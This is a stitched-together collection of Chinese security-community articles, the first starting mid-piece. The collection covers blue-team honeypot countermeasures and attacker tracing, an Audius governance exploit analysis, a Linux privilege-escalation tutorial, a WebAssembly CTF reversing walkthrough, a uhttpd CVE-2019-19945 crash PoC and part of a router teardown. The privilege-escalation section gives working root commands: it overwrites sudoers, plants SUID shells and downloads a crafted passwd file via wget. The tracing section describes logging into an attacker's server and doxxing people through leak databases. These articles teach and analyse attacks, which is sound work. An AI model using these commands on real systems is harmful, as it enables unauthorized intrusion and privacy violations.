windows蜜罐例如win7，xp等，其中包含一些历史漏洞，可以对攻击者进行反制。
现在的蜜罐除了上述的基本功能外，都有一些自己的花样，例如诱饵（邮件诱饵，github等），反制诱饵等。
这里的反制诱可以理解为红队的钓鱼文件，例如在某网站下载链接嵌入一个反制exe，当攻击者点开始便可获得攻击者电脑权限，利用查看文件等操作溯源，从而达到反制的目的。
（2）开源型
比较出名的开源蜜罐有beef、hfish等，beef自带功能强大，可以部署出一套完整的蜜网来进行迷惑攻击者。
二、钓鱼邮件溯源
红队有时会采用钓鱼邮件的方式来进行攻击，一些安全意识薄弱的员工便会打开该邮件从而上钩，如果钓到了运维，并且运维电脑上存有未加密的公司服务器信息等，可以说差不多是沦陷。攻击者在伪造钓鱼邮件时，有时出于疏忽，会泄露自己的邮件服务器地址，从而被溯源，下边来看一个例子。
红队在发送邮件诱饵时，没有进行伪造，导致自己的邮件服务器泄露，从而被蓝队溯源到真人。
三、IP进行溯源
在对入侵IP进行分类时发现一个IP，应该为攻击者的代理断掉了，通过微步等工具进行信息查询发现其备案域名，域名指向某公司
接下来对域名进行whois
根据邮箱手机号进行社工库查询，从而获取攻击者信息。
四、红队遗留工具进行溯源
案例1、某单位服务器沦陷，登上服务器对其进行溯源，在e盘找到了红队人员自己编写的工具
上边留有攻击者qq
在社工库中进行查询从而溯源获取红队真实身份信息
案例2、对攻击者上传的工具进行分析，物理路径中包含了文件的名称
在github进行搜索找到该项目和攻击者ID
在知乎，微博等平台对该用户进行搜索综合，或者利用支付宝微信转账的方式获取攻击者真实信息。
五、反制红队服务器
蓝队可以对红队IP进行收集，批量进行扫描
攻击者踩到了蜜罐，并尝试进行反弹shell
发现攻击者使用的为cs的服务器
服务器存在目录遍历漏洞，其中存有攻击者的攻击日志
有一条日志暴露了攻击者的teamserver密码
登录攻击者teamserver，找到被攻击主机的外网地址
一段时间后teamserver上线了一台新的主机
上线日志如下，可能是攻击者反弹shell后自己访问的登录信息
定位成功 | 社区文章 |
# Audius金库1850万枚AUDIO被盗事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 事件背景
零时科技区块链安全情报平台监控消息，北京时间2022年7月24日，Web3音乐流媒体服务平台Audius社区金库被黑客攻击，损失1850万枚AUDIO
Token，黑客地址0xa0c7BD318D69424603CBf91e9969870F21B8ab4c。零时科技安全团队及时对此安全事件进行分析。
## 0x2 攻击信息
**攻击者地址**
0xa0c7BD318D69424603CBf91e9969870F21B8ab4c
**攻击交易**
0xfefd829e246002a8fd061eede7501bccb6e244a9aacea0ebceaecef5d877a984
0x3c09c6306b67737227edc24c663462d870e7c2bf39e9ab66877a980c900dd5d5
0x4227bca8ed4b8915c7eec0e14ad3748a88c4371d4176e716e8007249b9980dc9
**攻击合约**
0xa62c3ced6906b188a4d4a3c981b79f2aabf2107f
0xbdbb5945f252bc3466a319cdcc3ee8056bf2e569
**被攻击合约Governance**
0x35dd16dfa4ea1522c29ddd087e8f076cad0ae5e8
## 0x3 攻击步骤
1. 攻击者部署攻击合约
2. 攻击者通过evaluateProposalOutcome方法评估目前 84 提案是否通过（84提案由攻击者发起，但缺少提案通过的条件）
3.发起新的提案
85，提案内容是通过transfer方法转移给0xbdbb5945f252bc3466a319cdcc3ee8056bf2e569转移大量资金。
1. 调用Staking.initialize初始化方法将攻击者合约地址设置为管理员地址（重点：攻击者为什么能调用初始化方法）
2. 调用DelegateManagerV2.initialize初始化方法更新管理员地址
3. 调用DelegateManager.setServiceProviderFactoryAddress方法更新serviceProviderFactoryAddress地址
4. 调用delegateStake方法给攻击者合约地址委托大量投票
5. 攻击者调用submitVote方法进行投票
6. 攻击者调用evaluateProposalOutcome方法评估 85 提案通过并成功完成转账。
## 0x4 攻击核心
**初始化 Initializable contract**
initializer() 修饰符判断中的三个条件：
initializing：初始为false，方法执行结束后也是false。
isConstructor()：初始部署合约时，代码在运行构造函数时仍未部署，对其代码大小的任何检查都会产生零。
!initialized：初始为true，满足条件，方法执行结束后修改为false，不能进行二次调用。
正常调用初始化合约，经过initializer修饰的方法只能调用一次，这里攻击者在多个合约中都进行了调用，什么情况？
Audius平台存在代理合约， Governance合约由代理合约进行调用，部署时Governance合约会调用初始化合约中的修饰符。
初始化的结果是确定了governanceAddress地址，该地址存在第一个卡槽，并且此次初始化的修饰符条件中，变量的布尔值也存储在第一个卡槽，由此发生了存储冲突，之后的结果是initializing变量恒为true。initializer()
修饰可多次调用。
## 0x5 资金来源及流向
**5.1 资金来源**
攻击者资金来源于Binance链上Tornado.Cash混币平台
**5.2 资金流向**
目前攻击者已将获利资金转移至Tornado.Cash混币平台
## 0x6 总结及建议
通过此次攻击来看，虽然openzeppelin官方的代理模式中声明了多种存储冲突的模式，但当多种逻辑组合在一起时，也会发生意外的存储冲突。目前Audius官方已在初始化修饰中增加了判断条件，防止二次利用，并在初始化合约中增加了存储参数。
**安全建议**
建议存在代理的合约在上线前对存储冲突问题进行专项审查
建议项目方上线前进行多次审计，避免出现审计步骤缺失 | 社区文章 |
作者：AArti Singh
来源：<http://www.hackingarticles.in/multiple-ways-to-get-root-through-writable-file/>
* * *
Linux系统中，全部都是以文件形式存在的，包括目录、设备都是有权限的，共有读、写、和可执行三种。管理员为文件设置好权限后，应该要考虑哪些Linux用户会被允许和限制上述的三个权限。
本文讨论如何通过可写文件和脚本进行Linux权限提升。
# 主要内容
通过可写脚本进行root提取的5种方法：
* 复制 /bin/sh 到 /tmp
* 设定 /bin/dash的SUID位
* 通过sudoer给登录用户完全的权限
* 设定/bin/cp的SUID位
* 逆向连接到恶意代码
开启攻击机器，黑掉目标系统，然后进行权限提升。假设成功地通过ssh登录到受害者的机器，并可以访问非root的用户终端。然后使用下面的命令，下面会举例所有有写权限的二进制文件。
find / -writable -type f 2>/dev/null | grep -v "/proc/"
可以看到一个/lib/log中保存的python文件，在路径中我们看到了sanitizer.py文件的权限为777。
Admin要将下面的脚本加入，来清理/tmp中的垃圾文件。如果攻击者能够识别受害者机器中的这类情形，就可以通过下面的方式来提升root权限来破坏系统。
# 1st Method
有许多的方法可以获取root权限，本方法中，我们将/bin/sh复制到/tmp文件夹中，然后设置/tmp/sh的SUID。这种方式非常简单，首先，通过nano编辑器打开文件，然后用rm
-r /tmp/* 替换下面的命令：
os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')
在/tmp目录创建一个有SUID权限的sh文件后，允许sh文件时会有root访问权限。
cd /tmp
ls
./sh
id
whoami
可以通过下面的图片进行确认
# 2nd Method
同样地，可以用rm -r /tmp/* 替换下面行的内容
os.system(‘chmod u+s /bin/dash)
在设置了/bin/dash的SUID权限后，运行后就可以获取root权限
/bin/dash
id
whoami
可以通过下面的图进行确认：
# 3rd Method
通过netcat逆向了连接后，就可以获取root权限。
nc -lvp 1234
id
whoami
可以通过下面的图进行确认：
# 4th Method
另一个方法是给登录的用户sudo权限。下面的图中可以看出当前用户wernerbrandes不能允许sudo命令。
同样地，可以在下面替换rm -r /tmp/*
os.system('echo "wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')
当输入“sudo -l”命令时会发现，这是sudo用户的一个成员。可以利用sudo bash来获取root权限。
sudo -l
sudo bash
id
# 5th Method
因为在linux类系统中，passwd文件起着很重要的作用。所以，如果攻击者有机会修改passwd文件，那么这将会成为一种动态的权限提升的方式。
同样地，可以利用cat命令查看etc/passwd文件的内容。
UID:1000 & GID:1000 就是admin组队成员。
下面编辑一下nemo记录来使其成为root组成员，选择etc/passwd的整个内容并复制粘贴到空text文件中。
然后，在一个新的终端上生成一个含salt的密码，然后复制。
openssl passwd -1 -salt abc 123
然后粘贴之前复制的含salt的密码在用户nemo的记录词条的X位置处，并修改UID&GID为0:0。完成上面的步骤后，我们就可以将其保存为passwd。
cd Desktop
python -m SimpleHTTPServer 80
利利用可写的脚本替换 “rm -r /tmp/*”
os.system(‘chmod u+s /bin/cp)
设置/bin/cp的SUID来复制文件。
将修改后的passwd文件下载受害者机器的/tmp文件夹中。用下面的命令检查/bin/cp的SUID位是否开启。
cd /tmp
wget http://192.168.1.103/passwd
ls -al /bin/cp
cp passwd /etc/passwd
下面确认是否改变了passwd文件的内容：
tail /etc/passwd
可以看出passwd文件中的变化：
可以执行下面的命令来获取root权限：
su nemo
password 123
whoami
# 总结
本文证明了攻击者如何通过可写文件进行linux系统权限提升。 | 社区文章 |
## 前言
> WebAssembly（缩写为 _Wasm_ ）是基于堆栈的虚拟机的二进制指令格式。Wasm被设计为可编程C / C ++ /
> Rust等高级语言的可移植目标，可在Web上部署客户端和服务器应用程序。
随着wasm的逐渐流行，在最近的ctf比赛中出现了很多wasm类型的逆向题。没接触过wasm的人会比较苦手。即使对wasm有一定的了解，由于wasm的汇编语言可读性十分差，逆向起来会非常的痛苦。本文以刚刚结束的defcon
quals中的一道题和其他一些题为例，介绍一种wasm的优化分析方法，初步探究wasm逆向。
## wasm汇编简介
wasm是基于堆栈的虚拟机的二进制指令格式。与x86架构的汇编又很大的区别。反倒更加类似python的opcode
下面分别是C++，wat，以及由用g++编译的x86 assembly代码，让我们首先对wasm汇编有个初步印象。
在[WebAssembly Explorer](https://mbebenita.github.io/WasmExplorer/)可以在线编译wasm
C++代码：
int testFunction(int* input, int length) {
int sum = 0;
for (int i = 0; i < length; ++i) {
sum += input[i];
}
return sum;
}
wat代码：
(module
(table 0 anyfunc)
(memory $0 1)
(export "memory" (memory $0))
(export "_Z12testFunctionPii" (func $_Z12testFunctionPii))
(func $_Z12testFunctionPii (; 0 ;) (param $0 i32) (param $1 i32) (result i32)
(local $2 i32)
(set_local $2
(i32.const 0)
)
(block $label$0
(br_if $label$0
(i32.lt_s
(get_local $1)
(i32.const 1)
)
)
(loop $label$1
(set_local $2
(i32.add
(i32.load
(get_local $0)
)
(get_local $2)
)
)
(set_local $0
(i32.add
(get_local $0)
(i32.const 4)
)
)
(br_if $label$1
(tee_local $1
(i32.add
(get_local $1)
(i32.const -1)
)
)
)
)
)
(get_local $2)
)
)
使用gcc编译的x86汇编：
push rbp
mov rbp, rsp
mov [rbp-18h], rdi
mov [rbp-1Ch], esi
mov dword ptr [rbp-8], 0
mov dword ptr [rbp-4], 0
mov eax, [rbp-4]
cmp eax, [rbp-1Ch]
jge short loc_400766
mov eax, [rbp-4]
cdqe
lea rdx, ds:0[rax*4]
mov rax, [rbp-18h]
add rax, rdx
mov eax, [rax]
add [rbp-8], eax
add dword ptr [rbp-4], 1
jmp short loc_01
loc_01:
mov eax, [rbp-8]
pop rbp
retn
可以看到，不同于x86使用的寄存器加栈的架构，wasm主要基于栈。局部变量被保存在local内，全局变量保存在global中，对变量的操作则使用get_local入栈，操作完再使用set_local设置局部变量。
接下来我们以DEF CON CTF 2019 Quals中的wasm为例，讲解一种wasm的逆向分析方法
拿到网址后f12把wasm下载下来，得到wasm.wasm
## 反汇编
就像x86汇编，wat的每一句机器码都能唯一的对应一句wasm汇编语句。
幸运的是，ida自带webassembly的处理器模块。wasm文件可以直接被反汇编。
或是使用[wasm2wat](https://github.com/WebAssembly/wabt)，将生成一份文本格式的.wat文件。
$ ./wasm2wat wasm.wasm -o wasm.wat
然而没有人愿意对着"低级"的汇编代码分析，我们更情愿看"高级"一点的语言。
有关wat文本格式的文章：[理解WebAssembly文本格式](https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format)
## 反编译
ida当然没有反编译模块。（事实上，正常情况下ida只支持x86和arm架构的反编译）
好在，我们可以用[wasm2c](https://github.com/WebAssembly/wabt/tree/master/wasm2c)来生反编译
[这里](https://github.com/WebAssembly/wabt)是wabt的项目仓库，可以基本实现wasm，wat，c之间的相互转换
编译好后，用如下指令得到c代码：
$ ./wasm2c wasm.wasm -o wasm.c
得到wasm.c和wasm.h
然而此工具得到的c代码并不尽如人意，光是行数已经很吓人了，这道nodb反编译出来的c文件由12000+行！
而且代码几乎和wat内容没啥区别
随便截取其中的几行，似乎只是把局部变量与全局变量换了个名字，省略了出入栈的操作。
//...
u32 i0, i1, i2;
i0 = g12;
l64 = i0;
i0 = p1;
l45 = i0;
i0 = p0;
l55 = i0;
i0 = l45;
i1 = l55;
i0 ^= i1;
l56 = i0;
i0 = l56;
i1 = 3u;
i0 &= i1;
l57 = i0;
i0 = l57;
i1 = 0u;
//...
## 优化
这种代码显然是无法分析的，我们需要优化
这里提供一种比较简单的优化方式：用gcc编译后在用ida反编译
将之前反编译出来的wasm.c，wasm.h，以及wabt项目内的wasm-rt.h，wasm-rt-impl.c，wasm-rt-impl.h三个文件放到同一个文件夹。
直接gcc
wasm.c会报错，因为很多wasm的函数没有具体的实现。但是我们可以只编译不链接，我们关心的只是程序本身的逻辑，不需要真正编译出能运行的elf来。
$ gcc -c wasm.c -o wasm.o
得到的还未连接的elf文件wasm.o
现在可以丢进ida来分析了，比之前的wasm.c友好很多。
尽管和原始的代码差别较大，但好歹可以开始分析了。
## 常量
搜索字符串是每个逆向手接触一个程序的第一步
对于wasm，所有的字符串会被存放在二进制文件的末尾，以此能获取一些关键的信息。
同时也能在wasm.c中看到这些字符串的定义
直接对字符串查找引用是找不到引用的，因为并不是直接对地址的引用，想找到这些字符串会困难一些。
然而开头的常量比较可疑，比赛的flag格式是OOO{}，这里开头又有连续三个一样的字节，让人联想到异或或者只是一个偏移。抱着试试看的态度减了一下，直接出了flag。。。
除了这种偷鸡的做法，细心看看代码也能看出一点端倪。
在f24函数中，似乎从0x400开始的地方获取了个字节，然后返回了这个字节减66，刚好是跟flag的差距。
if ( g12 >= g13 )
Z_envZ_abortStackOverflowZ_vi(80LL);
v1 = i64_load(Z_envZ_memory, 0x400LL);
i64_store(Z_envZ_memory, v13, v1);
v2 = i64_load(Z_envZ_memory, 0x408LL);
i64_store(Z_envZ_memory, v13 + 8, v2);
v3 = i64_load(Z_envZ_memory, 0x410LL);
i64_store(Z_envZ_memory, v13 + 16, v3);
v4 = i64_load(Z_envZ_memory, 0x418LL);
i64_store(Z_envZ_memory, v13 + 24, v4);
v5 = i64_load(Z_envZ_memory, 0x420LL);
i64_store(Z_envZ_memory, v13 + 32, v5);
v6 = i64_load(Z_envZ_memory, 0x428LL);
i64_store(Z_envZ_memory, v13 + 40, v6);
v7 = i64_load(Z_envZ_memory, 0x430LL);
i64_store(Z_envZ_memory, v13 + 48, v7);
v8 = i64_load(Z_envZ_memory, 0x438LL);
i64_store(Z_envZ_memory, v13 + 56, v8);
v9 = i32_load(Z_envZ_memory, 0x440LL);
i32_store(Z_envZ_memory, v13 + 64, v9);
v10 = i32_load8_s(Z_envZ_memory, 0x444LL);
i32_store8(Z_envZ_memory, v13 + 68, v10);
v11 = i32_load8_s(Z_envZ_memory, a1 + v13);
g12 = v13;
--wasm_rt_call_stack_depth;
return (unsigned __int8)(v11 - 66);
主逻辑在_authenticate，其中有两处比较可疑:
v1 = i32_load(Z_envZ_memory, 0x4D0LL);
i32_store(Z_envZ_memory, (unsigned int)(v18 + 28), v1);
v2 = i32_load8_s(Z_envZ_memory, 0x4D4LL);
还有循环结尾的：
if ( v11 == 69 )
{
g12 = v18;
v13 = 0x4D5;
}
else
{
g12 = v18;
v13 = 0x4DD;
如果0x400指向常量的开头，0x4d5刚好对应success，0x4DD刚好对应failure。这肯定不是巧合。事实上，0x400的偏移都对应常量开头，在之前做的另外一些题中也能看到类似的结构。
如此一来，我们便能轻易的从密文中猜出flag
## 另外两个例子
### simple wasm
这是去年上交大运维赛的一道web题，能得到一个wasm。
直接在文件为查找字符串：
看到了base64表和密文，解码出来是
iodj~44h393d5fh4;e:9h6i598f798;gd<4hf€
看看check函数，有个地方可疑：
while ( v14 != 38 )
{
v4 = v14++;
v5 = i32_load8_s(Z_envZ_memory, v4 + a1);
f797(v21, (unsigned __int8)(v5 + 3));
}
38就是长度，下面有个+3，也就是凯撒密码。
减一下就能得到flag
flag{11e060a2ce18b76e3f265c4658da91ec}
### where_u_are
这是前阵子国赛初赛中的一道wasm题。
先找字符串，确定main函数位置
注意f23中几个函数调用的参数：
for ( i = 0; i < 1; ++i )
{
i32_store(Z_envZ_memory, (unsigned int)v11, v9);
f99(0x1170u, (char *)(unsigned int)v11, (unsigned int)v11);
v4 = f23(v9, (char *)(unsigned int)v11, v3);
v7 = f24((int *)v4, (unsigned int)v11, v5);
f64_load(Z_envZ_memory, v7 + 8);
f64_load(Z_envZ_memory, v7);
f64_store(Z_envZ_memory, v10);
f64_store(Z_envZ_memory, (unsigned int)((_DWORD)v11 + 16));
f98(0x1173u, v10, v10);
}
f64_load(Z_envZ_memory, v7);
if ( 0.0 - (double)25 >= 1.0 || (f64_load(Z_envZ_memory, v7 + 8), 1.0 - (double)175 >= 1.0) )
{
f98(0x1186u, (unsigned int)((_DWORD)v11 + 32), (unsigned int)((_DWORD)v11 + 32));
g10 = (signed int)v11;
}
else
{
f98(0x117Cu, (unsigned int)((_DWORD)v11 + 24), (unsigned int)((_DWORD)v11 + 24));
g10 = (signed int)v11;
}
注意f99, f98的参数：0x1170, 0x1173, 0x1168, 0x117C
刚好对应之前的字符串常量之间的偏移，可以断定这是scanf和printf
f23中对输入进行了一些操作：
for ( i = 0; i < (unsigned int)strlen(a1, (__int64)a2, v3); ++i )
{
for ( j = 4; ; --j )
{
v3 = (unsigned int)j;
if ( j >= 0 == 0 )
break;
++v11;
v4 = i + a1;
v5 = i32_load8_s(Z_envZ_memory, v4);
v7 = f22(v5, v4, v6);
a2 = (char *)(unsigned int)(4 * (v11 - 1) + 0x11E0);
i32_store(Z_envZ_memory, (__int64)a2, (v7 >> (j % 5 & 0x1F)) & 1);
}
}
再看看f22
for ( i = 0; ; ++i )
{
if ( i >= 32 )
{
v6 = 6;
goto LABEL_11;
}
v4 = i;
if ( a1 == (char)i32_load8_s(Z_envZ_memory, (unsigned int)(i + 0x400)) )
break;
}
似乎是从0x400的偏移找某个值，而且范围是32？
找找0x400的偏移（跟之前一样，0x400也是字符串常量的开头？）
在数据开头，看到了一个长度为32的表
.rodata:000000000006BF00 data_segment_data_0 db '0123456789bcdefghjkmnpqrstuvwxyz'
.rodata:000000000006BF00 ; DATA XREF: init_memory+14↑o
.rodata:000000000006BF20 db 2
联想一下之前的查表，这应该是我们的输入范围。
回到f23，看到循环内有右移j%5再&1得操作，可能是分离每一位
加密逻辑在f24内：
v11 = -180.0;
v12 = 180.0;
v13 = -90.0;
v14 = 90.0;
for ( i = 0; i < 50; ++i )
{
v6 = i32_load(Z_envZ_memory, (unsigned int)(4 * i + (_DWORD)a1));
if ( (i + 1) % 2 == 1 )
i32_store(Z_envZ_memory, (unsigned int)(4 * ((i + 1) / 2) + v7), v6);
else
i32_store(Z_envZ_memory, (unsigned int)(4 * (i / 2) + v8), v6);
}
for ( j = 0; j < 20; ++j )
{
if ( (unsigned int)i32_load(Z_envZ_memory, (unsigned int)(4 * j + v7)) == 1 )
{
v11 = v10;
v10 = (v10 + v12) / 2.0;
}
else if ( (unsigned int)i32_load(Z_envZ_memory, (unsigned int)(4 * j + v7)) == 0 )
{
v12 = v10;
v10 = (v11 + v10) / 2.0;
}
if ( (unsigned int)i32_load(Z_envZ_memory, (unsigned int)(4 * j + v8)) == 1 )
{
v13 = v9;
v9 = (v9 + v14) / 2.0;
}
else if ( (unsigned int)i32_load(Z_envZ_memory, (unsigned int)(4 * j + v8)) == 0 )
{
v14 = v9;
v9 = (v13 + v9) / 2.0;
}
}
是不是很像二分查找？
猜测下逻辑，把输入按32个字符的table映射到一个0-31的数字，转二进制后，根据奇数位和偶数位分成两组，根据每一位为1或0决定二分查找的方向，两组分别在[-180,180]和[-90,90]区间内二分查找，找到结果为175和25时结果正确，注意精度要足够。
## 小结
初步分析了wasm静态分析的方法。wasm作为一种新的指令格式，相关工具并不齐全。总体上还有很大的进步空间。
关于wasm的动态调试过程在网上可以查到很多教程，这里就不多做分析了。用chrome，Firefox
等浏览器可以轻松实现wasm的动态调试。在动态调试的过程中能验证静态分析的一些猜想。 | 社区文章 |
## 概述
`OpenWrt/LEDE`是一个为嵌入式设备（通常是无线路由器）开发的高扩展度的`GNU/Linux`发行版。与许多其他路由器的发行版不同，`OpenWrt`是一个完全为嵌入式设备构建的功能全面、易于修改的由现代`Linux`内核驱动的操作系统。`OpenWrt`不是一个单一且不可更改的固件，而是提供了一个完全可写的文件系统及软件包管理。这使您可以不使用供应商提供的应用程序选择和配置，而是通过使用软件包来定制设备以适应任何应用程序。
`uhttpd`是`OpenWrt`上默认使用的、轻量级的响应`http`申请的`web`服务器。
[`CVE-2019-19945`](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19945)可能导致对堆缓冲区越界访问，进而导致崩溃。
在真实测试中，发现本漏洞影响范围与官方描述略有不符，实测发现影响范围为`Openwrt`的`18.06.4`及之前版本，在`18.06.5`版本修复。
## 获取源码
根据官方commit信息，可使用以下地址下载一份含漏洞的源码版本和一份不带漏洞版本的源码
[带漏洞版本uhttpd源码下载链接](https://git.openwrt.org/?p=project/uhttpd.git;a=snapshot;h=6b03f9605323df23d12e3876feb466f53f8d50c4;sf=tgz)
[不带漏洞版本uhttpd源码下载链接](https://git.openwrt.org/?p=project/uhttpd.git;a=snapshot;h=5f9ae5738372aaa3a6be2f0a278933563d3f191a;sf=tgz)
## 漏洞分析
根据官方泄漏的[信息](https://openwrt.org/advisory/2020-01-13-1),漏洞存在于`client.c`中。
这个漏洞的分析可以从`client.c`中的`uh_client_read_cb`函数开始分析
static read_cb_t read_cbs[] = {
[CLIENT_STATE_INIT] = client_init_cb,
[CLIENT_STATE_HEADER] = client_header_cb,
[CLIENT_STATE_DATA] = client_data_cb,
};
void uh_client_read_cb(struct client *cl)
{
.......
str = ustream_get_read_buf(us, &len);
.......
if (!read_cbs[cl->state](cl, str, len)) {
.......
}
使用`ustream_get_read_buf`获取用户提交的web数据后，根据数据的类型从`read_cbs` 中选取不同数据处理函数来处理。
其实每个包都会依次调用`client_init_cb`,`client_header_cb`,`client_data_cb`来进行处理，分别是针对请求数据的`request
line`,`header`头部以及`data`数据段进行处理。
其中`client_init_cb`是对`request line`进行处理，取出 `URL`等具体信息，此处我们不关注。
我们首先据头的处理函数`client_header_cb`
static bool client_header_cb(struct client *cl, char *buf, int len)
{
......
client_parse_header(cl, buf);
......
}
`client_header_cb`会调用`client_parse_header`这个函数来进一步处理,获取`header`中的`content-length`,`user-agent`等信息
static void client_parse_header(struct client *cl, char *data)
{
struct http_request *r = &cl->request;
char *err;
char *name;
char *val;
......
} else if (!strcmp(data, "content-length")) {
r->content_length = strtoul(val, &err, 0);
if (err && *err) {
uh_header_error(cl, 400, "Bad Request");
return;
}
......
blobmsg_add_string(&cl->hdr, data, val);
cl->state = CLIENT_STATE_HEADER;
}
需要注意的是，此处从`header`中取`content-length`的过程，通过`strtoul`取出来的一个无符号长整型，然后赋值给`r->content_length`,此处`r->content_length`的类型参考数据结构`http_request`
struct http_request {
enum http_method method;
enum http_version version;
enum http_user_agent ua;
int redirect_status;
int content_length;
bool expect_cont;
bool connection_close;
bool disable_chunked;
uint8_t transfer_chunked;
const struct auth_realm *realm;
};
其中`content_length` 的数据类型是`int`,此处在数据格式由无符号长整型转为整型时存在问题，有可能最终获得`content-length`为负数。我们需要记住此处，然后继续向下分析
直到针对数据段进行处理的函数`client_data_cb`
static bool client_data_cb(struct client *cl, char *buf, int len)
{
client_poll_post_data(cl);
return false;
}
继续向下追溯`client_poll_post_data`
void client_poll_post_data(struct client *cl)
{
......
while (1) {
......
buf = ustream_get_read_buf(cl->us, &len);
......
cur_len = min(r->content_length, len);
if (cur_len) {
if (d->data_blocked)
break;
if (d->data_send)
cur_len = d->data_send(cl, buf, cur_len);
r->content_length -= cur_len;
ustream_consume(cl->us, cur_len);
continue;
}
if (!r->transfer_chunked)
break;
if (r->transfer_chunked > 1)
offset = 2;
sep = strstr(buf + offset, "\r\n");
......
}
当`r->content_length`为负数时，`cur_len`被赋值为`r->content_length`
然后被传递给函数`ustream_consume`
void ustream_consume(struct ustream *s, int len)
{
......
do {
struct ustream_buf *next = buf->next;
int buf_len = buf->tail - buf->data;
if (len < buf_len) {
buf->data += len;
break;
}
len -= buf_len;
ustream_free_buf(&s->r, buf);
buf = next;
} while(len);
......
}
由于传入的`len`为负数，所以`buf->data`有可能被置为负数，回到函数`client_poll_post_data`后继续运行至下一次迭代，首先会调用函数`ustream_get_read_buf`
char *ustream_get_read_buf(struct ustream *s, int *buflen)
{
char *data = NULL;
int len = 0;
if (s->r.head) {
len = s->r.head->tail - s->r.head->data;
if (len > 0)
data = s->r.head->data;
}
if (buflen)
*buflen = len;
return data;
}
由于前期操作`s->r.head->data`被置为负数，因此此处返回值`data`有可能为负数
再回到函数`client_poll_post_data`, `if`条件均可构造条件绕过，当运行至 `sep = strstr(buf + offset,
"\r\n");`这一行时，`buf + offset` 有可能为负数，把这个负数作为指针来进行索引时，便会造成崩溃。
## 环境测试
据[官方公告](https://openwrt.org/advisory/2020-01-13-1),
`18.06.5`及之前版本受影响，`18.06.6`版本修复。但是在我的实际测试中，发现是`18.06.4`版本及之前受影响，`18.06.5`版本修复。
因此在本文分析中，基于`18.06.4`和`18.06.5`开展测试。
`openwrt`官方提供编译好的文件系统下载，使用`docker`获取`18.06.4`和`18.06.5`镜像：
sudo docker import https://archive.openwrt.org/releases/18.06.4/targets/x86/generic/openwrt-18.06.4-x86-generic-generic-rootfs.tar.gz openwrt-x86-generic-18.06.4-rootfsq
sudo docker import https://archive.openwrt.org/releases/18.06.5/targets/x86/generic/openwrt-18.06.5-x86-generic-generic-rootfs.tar.gz openwrt-x86-generic-18.06.5-rootfsq
使用`docker`创建`18.06.4`容器：
sudo docker run -it --privileged -p 8001:8001 openwrt-x86-generic-18.06.4-rootfsq /bin/ash
搭建`uhttpd`测试环境：
/ # mkdir webroot
/ # mkdir webroot
/ # rm -rf webroot/
/ # mkdir /webroot
/ # mkdir /webroot/URLprefix
/ # touch /webroot/URLprefix/webfile
/ # chmod +x /webroot/URLprefix/webfile
/ # uhttpd -f -p 0.0.0.0:8001 -x /URLprefix -h /webroot
查看`crash.poc`
/ # cat crash.poc
POST /cgi-bin/luci HTTP/1.0
Transfer-Encoding: chunked
Content-Length: -100000
在`docker`宿主机发送`poc`
nc 127.0.0.1 8001 < ./crash1.poc
在容器中可以看到`uhttpd`被触发崩溃：
/ # uhttpd -f -p 0.0.0.0:8001 -x /URLprefix -h /webroot
Segmentation fault (core dumped)
同样的方法在`18.06.5`测试，发现不会崩溃，证明在`18.06.5`中漏洞已经修复。
## 补丁分析
$ diff vuln/uhttpd-6b03f96-Vuln/client.c notVuln/uhttpd-5f9ae57-Vuln/client.c
349c349
< if (err && *err) {
--- > if ((err && *err) || r->content_length < 0) {
447c447
< if (sep && *sep) {
--- > if ((sep && *sep) || r->content_length < 0) {
打开源码可以更清楚的看到修复情况：
void client_poll_post_data(struct client *cl)
{
......
if ((sep && *sep) || r->content_length < 0) {
r->content_length = 0;
r->transfer_chunked = 0;
break;
}
......
}
修补方式是直接检测用户提交的`content_length`参数是否小于0,因而避免了后续的问题。
## 总结
漏洞挖掘过程中，不同数据类型的赋值转换过程也是一个值得关注的点。
另外在实际的环境测试中，考虑到编译复杂，所以计划使用官方编译好的文件系统来进行测试，刚好`openwrt`提供文件系统以及内核[下载](https://archive.openwrt.org/releases/)，最开始尝试使用`binwalk`解开固件包，使用`chroot`的方式运行起来`uhttpd`，但是一直报一个莫名其妙的错误，导致`uhttpd`无法成功运行；然后考虑到既然提供了文件系统和内核，所以计划使用`qemu`来运行，但是在测试中也没有成功运行起来，推断应该是在`openwrt`启动过程中没有找到诸多硬件依赖的问题；最后偶然在网上看到了`docker`的方式，最开始使用了`dockerhub`中的镜像，也没有成功运行，问题也是出在找不到一些硬件依赖无法启动，最后采用了文中的方法，测试起来确实省时省力的。
这个漏洞的效果基本上还是崩溃，调试成`RCE`之类还是不太现实的，但是在调试过程还是比较耐人寻味的，也对`uhttpd`框架更熟悉了一些。 | 社区文章 |
原文作者：Juan Carlos Jiménez
翻译者：光棍节
原文地址：http://jcjc-dev.com/2016/04/29/reversing-huawei-router-2-scouting-firmware/
前文回顾：[HG533路由器分析教程之找到硬件调试接口](http://paper.seebug.org/153/)
在[上一节](http://paper.seebug.org/153/)分析pcb板的硬件结构时，发现了一个UART接口，通过这个接口，实现了一个Linux
shell的管理接口，本节中利用上节提出方法访问设备，进而对设备进行调试和控制。
上一节提出的方法是易于访问的，不需要昂贵的工具，并且会有有趣的结果，如果你想做一些硬件方面的分析，但是又不愿意去拆设备的话，这将导致你无法深入的挖掘硬件漏洞，而只是停留在网络漏洞以及ISP配置协议等高层次接口的安全分析。
本节中通过利用上一节提出的方法访问并收集一些随机的数据块，这些数据块会帮助我们理解整个系统。
### 一、 回顾上一节
图一是UART引脚图，图二是串口通信数据。
图一 UART引脚图
图二 串口通信数据
串口交互运行shell，这个shell是由路由器中的busybox提供的，如下：
------------------------------- -----Welcome to ATP Cli------ ------------------------------- Login: admin
Password:#Password is ‘admin'
ATP>shell
BusyBox vv1.9.1 (2013-08-29 11:15:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# ls
var usr tmpsbin proc mntlib init etcdev bin
上面有三个层面的固件：
1、U-boot，即设备的bootloader，实现对最低级的硬件管理，如watchdog等，也负责对后续主要功能固件的启动。
2、Linux，路由器通过运行Linux来实现对硬件的整体控制，协调并行处理，后续的busybox是运行在此Linux之上。
3、Busybox，一个集合了多个Linux命令的工具包。
低级别的接口往往是不直观的，不能访问所有的数据，而且可能会造成设备变砖，从busybox开始往下分析是不错的思路。
通常情况下，开发人员会在启动过程中添加一些调试信息，接下来，我们就从调试信息中找找是否存在有用的信息。
### 二、 开机调试信息
